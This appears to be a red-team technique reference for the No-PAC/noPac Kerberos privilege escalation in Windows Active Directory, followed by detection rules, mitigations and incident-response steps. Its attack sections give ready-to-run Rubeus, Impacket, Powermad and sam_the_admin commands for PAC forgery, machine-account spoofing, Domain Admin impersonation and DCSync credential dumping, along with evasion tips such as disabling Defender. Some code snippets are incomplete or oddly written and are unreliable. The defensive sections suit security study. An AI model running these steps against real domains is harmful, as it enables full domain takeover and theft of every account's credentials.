| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-011 |
| MITRE ATT&CK v18.1 | T1558: Steal or Forge Kerberos Tickets |
| Tactic | Credential Access |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | N/A (Related: CVE-2014-6324, CVE-2021-42278, CVE-2021-42287) |
| Technique Status | ACTIVE (pre-April 2025); PARTIAL (April 2025+); DEPRECATED (June 2025+) |
| Last Verified | 2025-01-06 |
| Affected Versions | Server 2016-2025 (pre-patch) |
| Patched In | KB5055523 (April 2025, mandatory enforcement); KB5060842 (June 2025, full remediation) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team), 8 (Splunk Detection), and 12 (Microsoft Defender for Cloud) not included because: (1) No Atomic Red Team test exists for pure No-PAC; (2) No specific Splunk signature for PAC-less tickets alone; (3) Detector for Cloud primarily applicable to noPac chain (CVE-2021-42278/42287), not standalone No-PAC. All section numbers have been dynamically renumbered based on applicability.
Concept: The No-PAC Kerberos bypass attack exploits a vulnerability in how Windows Active Directory Key Distribution Centers (KDCs) validate Privilege Attribute Certificates (PACs) within Kerberos tickets. An attacker can request a Ticket-Granting Ticket (TGT) without including a PAC by setting the PA-PAC-REQUEST pre-authentication attribute to false. Once the PAC-less TGT is obtained, the attacker forges a fake PAC with elevated group memberships and injects it into a Ticket-Granting-Service (TGS) request using the ‘enc-authorization-data’ field. Critically, the vulnerable KDC does not properly validate the forged PAC signature and instead copies it directly into the service ticket, allowing the attacker to impersonate high-privilege accounts such as Domain Admins. This technique evolved from MS14-068 (CVE-2014-6324) and was further refined during the CVE-2021-42278/42287 (noPac) exploitation chains. The attack does not require knowledge of the krbtgt hash and can be performed by any authenticated domain user.
Attack Surface: Kerberos pre-authentication (PA-PAC-REQUEST field), KDC ticket validation logic, TGS-REQ processing, enc-authorization-data field handling.
Business Impact: Complete Domain Compromise. An attacker can escalate from a standard domain user to Domain Administrator without crack ing passwords or stealing hashes. This enables ransomware deployment, data exfiltration, lateral movement to all domain resources, and persistence through backdoored accounts.
Technical Context: The attack typically takes 30 seconds to 2 minutes to execute from initial compromise to obtaining elevated tickets. Detection via network monitoring is possible but requires specialized Kerberos packet analysis. Event log analysis is the primary detection vector, but requires proper audit logging configuration.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.2.1 | Account Lockout Duration - Kerberos pre-auth security |
| DISA STIG | WN11-AU-000502 | Audit account logon events (Kerberos) |
| CISA SCuBA | AC-2 | Account Management and Kerberos policy |
| NIST 800-53 | AC-3 | Access Enforcement - Kerberos validation |
| GDPR | Art. 32 | Security of processing - authentication mechanisms |
| DORA | Art. 9 | Protection and prevention of ICT-related incidents |
| NIS2 | Art. 21 | Cyber Risk Management Measures (detection/response) |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights (PAC validation) |
| ISO 27005 | Risk Scenario | “Compromise of Authentication/Authorization Mechanism” |
Required Privileges: Authenticated domain user (any user with a valid domain account).
Required Access: Network access to domain controller (DC) on port 88 (Kerberos), ability to send AS-REQ and TGS-REQ messages.
Supported Versions:
Tools Required:
Objective: Determine if the target DC is vulnerable by requesting a PAC-less TGT and analyzing ticket size. Patched DCs will include a PAC regardless of PA-PAC-REQUEST=false, resulting in a larger ticket.
Windows Command (Rubeus):
# Request a TGT without a PAC to scan vulnerability
Rubeus.exe asktgt /user:<username> /password:<password> /domain:<domain.fqdn> /dc:<dc.fqdn> /nopac /nowrap
What to Look For:
Automated Scanning:
# Using noPac scanner
noPac.exe scan -domain <domain.fqdn> -user <username> -pass <password> -dc <dc.fqdn>
Expected Output (Vulnerable):
[*] DC dc.domain.local is potentially vulnerable
[*] DC returned a ticket without PAC (size: 682 bytes)
[*] Vulnerability Status: VULNERABLE
Expected Output (Patched):
[*] DC dc.domain.local is NOT vulnerable
[*] DC returned a ticket WITH PAC despite PA-PAC-REQUEST=false (size: 2104 bytes)
[*] Vulnerability Status: PATCHED
# Using Impacket (requires valid domain credentials)
python3 -c "
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ
from impacket.krb5.client import Client
# Connect to KDC and observe ticket properties
client = Client('user@DOMAIN.LOCAL', 'password', 'dc.domain.local')
tgt = client.get_TGT()
print(f'TGT Size: {len(tgt)} bytes')
"
Version Note: For older Impacket versions (0.9.23 and below), ensure krb5.conf is properly configured with Kerberos realm settings.
Supported Versions: Server 2016-2019 (VULNERABLE); Server 2022+ requires April 2025 patch to be UNPATCHED.
Objective: Retrieve the victim user’s SID and domain SID, which will be embedded in the forged PAC.
Command:
# Using Impacket's lookupsid.py
python3 lookupsid.py domain/username:password@domain.controller.fqdn | grep -A5 "Domain SID"
Expected Output:
Domain SID: S-1-5-21-3623811015-3361044348-30300510
User SID: S-1-5-21-3623811015-3361044348-30300510-1105
What This Means:
Troubleshooting:
nslookup domain.controllerObjective: Create a forged TGT with admin privileges without knowing the krbtgt hash.
Command:
# Using Impacket's goldenPac.py (MS14-068 exploitation)
python3 goldenPac.py domain.fqdn/username:password@domain.controller.fqdn -dc-ip <dc_ip> -target-ip <dc_ip> whoami
Expected Output:
Impacket v0.9.24 - Copyright 2002-2024 Core Security Technologies
[*] Creating TGT with Domain Admin privileges...
[*] PAC forged with group SIDs: 512 (Domain Admins), 513 (Domain Users)
[*] Connecting to domain.controller.fqdn (smb)
[*] Executing 'whoami':
What This Means:
OpSec & Evasion:
-w <filename> parameterSet-MpPreference -DisableRealtimeMonitoring $trueVersion Note (Server 2022+):
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters for ValidatePacSignature = 0 (deployment mode)Troubleshooting:
wmic qfe list brief | find "KB5008380"Get-HotFix -Id KB5055523Objective: Employ the forged ticket to perform privileged actions such as DCSync.
Command:
# Save ticket and use for DCSync
python3 goldenPac.py domain.fqdn/username:password@domain.controller.fqdn -dc-ip <dc_ip> -target-ip <dc_ip> -w /tmp/admin.ccache
# Export ticket and use with secretsdump
export KRB5CCNAME=/tmp/admin.ccache
python3 secretsdump.py -k -no-pass domain.controller.fqdn
Expected Output:
[-] Impacket v0.9.24 - Copyright 2002-2024 Core Security Technologies
[*] Target system bootKey: xxx
[*] Dumping domain credentials (domain\user:hash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:xxxxx
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:xxxxx
What This Means:
Supported Versions: Server 2016-2019 (VULNERABLE); Server 2022 (VULNERABLE pre-November 2021); Server 2025 (VULNERABLE pre-April 2025).
Objective: Create a new computer account that will be used for sAMAccountName spoofing.
Command (PowerShell with Powermad):
# Import Powermad
. .\Powermad.ps1
# Create new machine account
$password = ConvertTo-SecureString 'ComputerPassword123!' -AsPlainText -Force
New-MachineAccount -MachineAccount "TESTNOPAC" -Password $password -Domain "domain.local" -DomainController "dc.domain.local" -Verbose
Expected Output:
[+] Machine account TESTNOPAC$ created successfully
[+] Account DN: CN=TESTNOPAC,CN=Computers,DC=domain,DC=local
Command (Linux with Impacket):
# Using Impacket's addcomputer.py
python3 addcomputer.py -computer-name 'TESTNOPAC$' -computer-pass 'ComputerPassword123!' -dc-host dc.domain.local -domain-netbios DOMAIN 'domain.local/user:password'
Troubleshooting:
Objective: Remove SPNs from the machine account so renaming doesn’t fail.
Command (PowerShell):
# Clear SPNs using PowerView
Set-Domain-Object -Identity "TESTNOPAC$" -XOR @{servicePrincipalName=$null} -verbose
Expected Output:
[+] Successfully cleared SPNs from TESTNOPAC$
Command (Impacket):
# Using ldapmodify or directly via Impacket LDAP
python3 -c "
from impacket.ldap import ldapasn1 as ldapasn1_impacket
# Clear servicePrincipalName attribute
"
Objective: Rename the machine account’s sAMAccountName to match a domain controller’s name (without the trailing $).
Command (PowerShell with Powermad):
# Rename sAMAccountName to spoofed DC name
Set-MachineAccountAttribute -MachineAccount "TESTNOPAC" -Value "DC01" -Attribute samaccountname -Verbose
Expected Output:
[+] Successfully set sAMAccountName to DC01 (machine account sAMAccountName spoofing successful)
Command (Impacket):
python3 renameMachine.py -current-name 'TESTNOPAC$' -new-name 'DC01' -dc-ip 'dc.domain.local' 'domain.local/user:password'
What This Means:
Objective: Obtain a valid TGT for the now-spoofed “DC01” machine account.
Command (Windows with Rubeus):
# Request TGT for spoofed DC account
.\Rubeus.exe asktgt /user:"DC01" /password:"ComputerPassword123!" /domain:"domain.local" /dc:"dc.domain.local" /nowrap
Expected Output:
[+] TGT successfully requested for DC01
[+] Ticket size: 1234 bytes
[+] Base64 TGT: doIFI...
Command (Linux with Impacket):
python3 getTGT.py -dc-ip 'dc.domain.local' 'domain.local/DC01:ComputerPassword123!'
OpSec & Evasion:
/nowrap > tgt.txtObjective: Change the machine account’s sAMAccountName back to original, triggering CVE-2021-42287 during S4U2self step.
Command:
Set-MachineAccountAttribute -MachineAccount "TESTNOPAC" -Value "TESTNOPAC" -Attribute samaccountname -Verbose
Expected Output:
[+] sAMAccountName successfully reset to TESTNOPAC$
What This Means:
Objective: Request a service ticket for a domain admin impersonating a high-privilege user.
Command (Windows with Rubeus):
# Impersonate Domain Admin using S4U2self
.\Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.domain.local" /dc:"dc.domain.local" /ptt /ticket:[Base64_TGT_From_Step_4]
Expected Output:
[+] S4U2self succeeded!
[+] Service ticket for Administrator obtained
[+] Ticket injected into current session
[+] (use with pass-the-ticket)
Command (Linux with Impacket):
# Using S4U2self via Impacket
export KRB5CCNAME=/tmp/dc01.ccache
python3 getST.py -spn 'cifs/dc.domain.local' -impersonate Administrator -k -no-pass -dc-ip 'dc.domain.local' 'domain.local/DC01'
What Happens:
Troubleshooting:
Get-HotFix -Id KB5008380Objective: Use the elevated ticket to perform actions as Domain Admin.
Command (DCSync):
# Export ticket and perform DCSync
export KRB5CCNAME=/tmp/administrator.ccache
python3 secretsdump.py -k -no-pass 'domain.local/administrator@dc.domain.local'
Expected Output:
[-] Impacket v0.9.24 - Copyright 2002-2024 Core Security Technologies
[*] Dumping domain credentials
Administrator:500:aad3b435b51404eeaad3b435b51404ee:xxxxx
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:xxxxx
[*] Dumped all cached domain credentials
Supported Versions: Server 2016-2019 (VULNERABLE); Server 2022 (VULNERABLE pre-November 2021).
Objective: Chain all noPac steps automatically with interactive shell access.
Command:
# Run sam-the-admin for full exploitation with shell
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
Expected Output:
[*] Selected Target dc.domain.local
[*] Total Domain Admins 11
[*] Will try to impersonate gaylene.dreddy
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-XX$"
[*] MachineAccount "SAMTHEADMIN-XX$ password = xxx
[*] Successfully added machine account
[*] Successfully renamed to DC name
[*] Requesting TGT for spoofed DC account
[*] Saving ticket in dc.ccache
[*] Resetting machine account to original name
[*] Using TGT from cache
[*] Impersonating Domain Admin
[*] Requesting S4U2self
[*] Saving ticket in admin.ccache
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32> whoami
NT AUTHORITY\SYSTEM
What This Means:
OpSec & Evasion:
Set-MpPreference -DisableRealtimeMonitoring $trueAtomic Red Team test does not exist for pure No-PAC bypass. Verification is performed by testing ticket issuance and PAC validation on target DC.
Manual Verification (Proof of Exploitation):
# After exploitation, verify elevated ticket was obtained
klist
# Output should show cached tickets for Administrator or krbtgt
Post-Exploitation Validation:
# Decrypt and examine ticket to confirm PAC contains admin groups
python3 -c "
from impacket.krb5.ccache import CCache
ccache = CCache.loadFile('administrator.ccache')
for principal in ccache.principals:
print(f'Principal: {principal}')
for ticket in ccache.tickets[principal]:
print(f' Service: {ticket[\"service\"]}')
# PAC should contain group SIDs 512 (Domain Admins), 519 (Enterprise Admins), etc.
"
Version: 1.6.3+
Minimum Version: 1.6.0
Supported Platforms: Windows (x86/x64)
Key Commands:
# Request PAC-less TGT (scanning)
Rubeus.exe asktgt /user:username /password:password /domain:domain.fqdn /dc:dc.fqdn /nopac /nowrap
# Request normal TGT
Rubeus.exe asktgt /user:username /password:password /domain:domain.fqdn /dc:dc.fqdn /nowrap
# Perform S4U2self impersonation
Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/dc /ptt /ticket:[base64_tgt]
# Request service ticket
Rubeus.exe tgtdeleg /nowrap
Version: 0.9.24+
Minimum Version: 0.9.23
Supported Platforms: Linux/macOS/Windows (Python 3.6+)
Key Scripts:
# Get TGT
python3 getTGT.py domain/username:password@dc.domain.local -dc-ip <dc_ip>
# Golden PAC exploitation (MS14-068)
python3 goldenPac.py domain/username:password@dc.domain.local -dc-ip <dc_ip> -w /tmp/ticket.ccache
# DCSync using Kerberos ticket
export KRB5CCNAME=/tmp/ticket.ccache
python3 secretsdump.py -k -no-pass domain/Administrator@dc.domain.local
# Service Principal Names enumeration
python3 lookupsid.py domain/username:password@dc.domain.local
Version: Latest (GitHub)
Platform: Windows (.NET)
# Scan for vulnerability
noPac.exe scan -domain domain.fqdn -user username -pass password -dc dc.fqdn
# Full exploitation (automated)
noPac.exe -domain domain.fqdn -user username -pass password /dc dc.fqdn /mAccount TestMachine /mPassword Password123! /service cifs /ptt
Version: Latest (GitHub)
Platform: Linux/macOS/Windows (Python 3.6+)
# Full exploitation with shell
python3 sam_the_admin.py "domain.local/username:password" -dc-ip <dc_ip> -shell
# Scan only
python3 sam_the_admin.py "domain.local/username:password" -dc-ip <dc_ip> -scan
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4768
| where TicketOptions has "0x40810010" // TGT request flags
| where TicketEncryptionType == "0x12" // AES-256-CTS-HMAC-SHA1-96 (typical for PAC-less)
| extend TicketSizeEstimate = strlen(tostring(TargetInfo))
| where TicketSizeEstimate < 1000 // PAC-less tickets are typically < 1000 bytes
| project TimeGenerated, Computer, TargetUserName, TargetLogonGuid, TicketEncryptionType, TicketSizeEstimate
What This Detects:
Manual Configuration Steps (Azure Portal):
PAC-less TGT Request DetectionHigh5 minutes6 hoursManual Configuration Steps (PowerShell):
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
Connect-AzAccount
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "PAC-less TGT Request Detection" `
-Query @"
SecurityEvent
| where EventID == 4768
| where TicketOptions has "0x40810010"
| where TicketEncryptionType == "0x12"
| where strlen(tostring(TargetInfo)) < 1000
| project TimeGenerated, Computer, TargetUserName, TargetLogonGuid
"@ `
-Severity "High" `
-Enabled $true
Rule Configuration:
KQL Query:
let timeline = 120; // 2-minute window
let MachineCreations = SecurityEvent
| where EventID == 4741 // Computer account created
| project CreatedTime = TimeGenerated, Computer, NewComputerName = TargetInfo;
let MachineSPNClears = SecurityEvent
| where EventID == 4742 // Computer account modified (SPNs cleared)
| project SPNClearTime = TimeGenerated, Computer;
let MachineRenames = SecurityEvent
| where EventID == 4781 // Computer account renamed
| where NewAccountName !endswith "$" // Renamed without trailing $ = suspicious
| project RenameTime = TimeGenerated, Computer, OldAccountName, NewAccountName;
let TGTRequests = SecurityEvent
| where EventID == 4768 // TGT requested for non-standard account
| where TargetUserName == NewAccountName // Request for renamed account
| project TGTTime = TimeGenerated, Computer, TGTAccount = TargetUserName;
MachineCreations
| join kind=inner (MachineSPNClears) on Computer
| join kind=inner (MachineRenames) on Computer
| join kind=inner (TGTRequests) on Computer
| where (SPNClearTime - CreatedTime) < timespan(2m)
| where (RenameTime - CreatedTime) < timespan(2m)
| where (TGTTime - RenameTime) < timespan(2m)
| project AlertTime = TGTTime, Computer, MachineCreatedName = NewComputerName, SuspiciousRename = NewAccountName, TGTAccount
What This Detects:
Manual Configuration: Use same Sentinel workflow as Query 1, substituting the KQL above.
Event ID 4768 (TGT Requested):
Event ID 4769 (Service Ticket Requested):
Event ID 4741 (Machine Account Created):
Event ID 4742 (Machine Account Modified):
Event ID 4781 (Computer Account Renamed):
Event ID 38 (TGT Revoked):
Manual Configuration Steps (Group Policy):
gpupdate /force on domain controllersManual Configuration (Local Policy - Server 2022+):
# Enable Kerberos audit logging
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Computer Account Management" /success:enable /failure:enable
Splunk SPL for Event Correlation:
index=windows source=WinEventLog:Security (EventCode=4768 OR EventCode=4769 OR EventCode=4781)
| stats count by host, EventCode, TargetUserName
| where EventCode=4768 AND EventCode=4781 AND EventCode=4769
| search TicketSize < 1000
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows Server 2016+
Sysmon Config Snippet (Registry Access Monitoring):
<Sysmon schemaversion="4.22">
<!-- Monitor registry changes related to Kerberos -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">Lsa\Kerberos\Parameters</TargetObject>
</RegistryEvent>
<!-- Monitor machine account creation via LDAP/SAMR -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">lsass.exe</TargetFilename>
</FileCreate>
<!-- Monitor Rubeus/Impacket execution -->
<ProcessCreate onmatch="include">
<Image condition="contains">Rubeus</Image>
<CommandLine condition="contains">asktgt</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">python</Image>
<CommandLine condition="contains">goldenPac</CommandLine>
</ProcessCreate>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Mitigation 1: Apply Critical Kerberos Patches
Windows Server must be patched with the latest Kerberos security updates:
Manual Steps (Windows Update):
Get-HotFix | find "KB5008380" or find "KB5055523"Manual Steps (Group Policy - Deployment Mode for Server 2022+):
If automatic enforcement breaks authentication, temporarily enable deployment mode:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\ParametersStrictKdcPacValidation = 0 (for deployment/testing only)Kerberos.exe: net stop kdc && net start kdcManual Steps (PowerShell):
# Check patch status
Get-HotFix -Id KB5008380, KB5055523 | Format-Table HotFixID, InstalledOn
# Install Windows updates
Install-WindowsUpdate -AcceptAll -AutoReboot
# Verify Kerberos service after patching
Test-NetConnection -ComputerName <dc_fqdn> -Port 88 -ErrorAction Stop
Get-Service Kerberos | Restart-Service
Mitigation 2: Disable PAC-less Ticket Issuance (Post-Patch)
After patching, enforce PAC validation on all domain controllers:
Manual Steps (Registry):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\ParametersValidatePacSignature = 1 (enforce PAC validation)StrictKdcPacValidation = 1 (strict validation mode)net stop kdc && net start kdcManual Steps (PowerShell):
# Enable strict PAC validation
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters"
Set-ItemProperty -Path $RegPath -Name "ValidatePacSignature" -Value 1 -Type DWord -Force
Set-ItemProperty -Path $RegPath -Name "StrictKdcPacValidation" -Value 1 -Type DWord -Force
# Restart Kerberos service
Restart-Service Kerberos -Force
# Verify registry settings
Get-ItemProperty -Path $RegPath | Select ValidatePacSignature, StrictKdcPacValidation
Verification Command (Check if Secure):
# Request a PAC-less TGT; should fail on patched/configured DC
Rubeus.exe asktgt /user:testuser /password:testpass /domain:domain.fqdn /dc:dc.fqdn /nopac
# Expected result on secure DC: Ticket rejected or ticket includes PAC despite /nopac flag
# Expected error: "KDC_ERR_POLICY" or "KDC_ERR_TGT_REVOKED"
Mitigation 3: Restrict Machine Account Quota (ms-DS-Machine-Account-Quota)
Reduce or restrict the number of machine accounts standard users can create:
Manual Steps (ADUC):
gpupdate /forceManual Steps (PowerShell):
# Set machine account quota to 0 (no unprivileged user can create machines)
Set-ADDomain -Identity "DC=domain,DC=local" -Replace @{"ms-DS-MachineAccountQuota" = 0}
# Verify setting
Get-ADDomain | Select ms-DS-MachineAccountQuota
Manual Steps (Group Policy):
gpupdate /force on all machinesMitigation 4: Implement Privileged Access Management (PAM)
Restrict domain admin account usage through PIM:
Manual Steps (Azure Portal - Entra ID PIM):
Manual Steps (PowerShell - Local Administrator):
# Remove users from Domain Admins group; require JIT access via PIM instead
Remove-ADGroupMember -Identity "Domain Admins" -Members "username" -Confirm:$false
# Verify Domain Admins membership
Get-ADGroupMember -Identity "Domain Admins" | Select Name, SamAccountName
Mitigation 5: Enable Kerberos Armoring (FAST)
Enable Flexible Authentication Secure Tunneling (FAST/KDC PAC-less request blocking):
Manual Steps (Registry):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\ParametersKdcSupportedEncryptionTypes = 0xFFFFFFFF (support all encryption types)RequireFastAsArmor = 1 (require FAST as armor for pre-auth)net stop kdc && net start kdcManual Steps (Group Policy):
gpupdate /forceMitigation 6: Monitor and Alert on Suspicious Kerberos Activity
Deploy SIEM rules to detect No-PAC attacks in real-time:
Manual Steps (Splunk):
index=windows source=WinEventLog:Security EventCode=4768
| stats count, values(TicketSize) by host, TargetUserName
| where TicketSize < 1000 AND count > 5
count > 5 in 10 minutesFiles:
Registry:
Network:
Disk:
Memory:
Cloud (M365 / Entra ID):
Kerberos Protocol Logs:
Step 1: Isolate Compromised Account/Machine
# Disable attacker's user account
Disable-ADAccount -Identity "attacker_username"
# Remove from privileged groups
Remove-ADGroupMember -Identity "Domain Admins" -Members "attacker_username" -Confirm:$false
# Reset password
Set-ADAccountPassword -Identity "attacker_username" -Reset -NewPassword (Read-Host -Prompt "Enter new password" -AsSecureString)
Command (Network Isolation):
# Disconnect network interface (immediate isolation)
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
Manual (Azure Portal):
Step 2: Collect Forensic Evidence
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Capture memory dump of lsass
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
# Export Kerberos tickets
klist export C:\Evidence\tickets.klist
# Collect Kerberos protocol logs (if enabled)
wevtutil epl "Microsoft-Windows-Kerberos/Operational" C:\Evidence\Kerberos.evtx
Step 3: Remediate Domain
# Reset krbtgt password twice (invalidates all tickets signed with old key)
Set-ADAccountPassword -Identity "krbtgt" -Reset -NewPassword (Read-Host -Prompt "Enter new krbtgt password" -AsSecureString)
Start-Sleep -Seconds 10
Set-ADAccountPassword -Identity "krbtgt" -Reset -NewPassword (Read-Host -Prompt "Re-enter new krbtgt password" -AsSecureString)
# Force replication of krbtgt change
repadmin /syncall /d /p /P
# Verify Domain Admins group membership (remove any unauthorized accounts)
Get-ADGroupMember -Identity "Domain Admins" | Export-Csv -Path C:\Evidence\DomainAdmins.csv
Step 4: Verify Patches and Hardening
# Verify patches are installed
Get-HotFix -Id KB5008380, KB5055523 | Format-Table HotFixID, InstalledOn
# Verify Kerberos hardening settings
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters"
Get-ItemProperty -Path $RegPath | Select ValidatePacSignature, StrictKdcPacValidation, KdcSupportedEncryptionTypes
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView Domain Enumeration | Attacker maps domain structure, identifies DCs |
| 2 | Initial Access | [IA-VALID-001] Default/Valid Credentials | Attacker obtains credentials for low-privilege domain user |
| 3 | Privilege Escalation | [PE-CREATE-001] Machine Account Quota Abuse | Attacker creates new machine account (noPac attack) |
| 4 | Credential Access | [CA-KERB-011] | Attacker requests PAC-less TGT, forges PAC, escalates to DA |
| 5 | Credential Dumping | [CA-DUMP-002] DCSync | Attacker dumps domain credentials using DA ticket |
| 6 | Persistence | [PERSIST-ACCT-001] AdminSDHolder Abuse | Attacker creates persistent DA backdoor account |
| 7 | Impact | Data Exfiltration / Ransomware | Attacker executes final objective (ransomware, espionage) |
powershell Get-ADDomain | Select ms-DS-MachineAccountQuota → returned 10New-MachineAccount -MachineAccount "WORKSPACE01" ...secretsdump.py -k -no-passRubeus.exe asktgt /user:victim /password:password /nopacnoPac.exe scan against DCValidatePacSignature=0)ValidatePacSignature=1 and test client compatibility before enforcement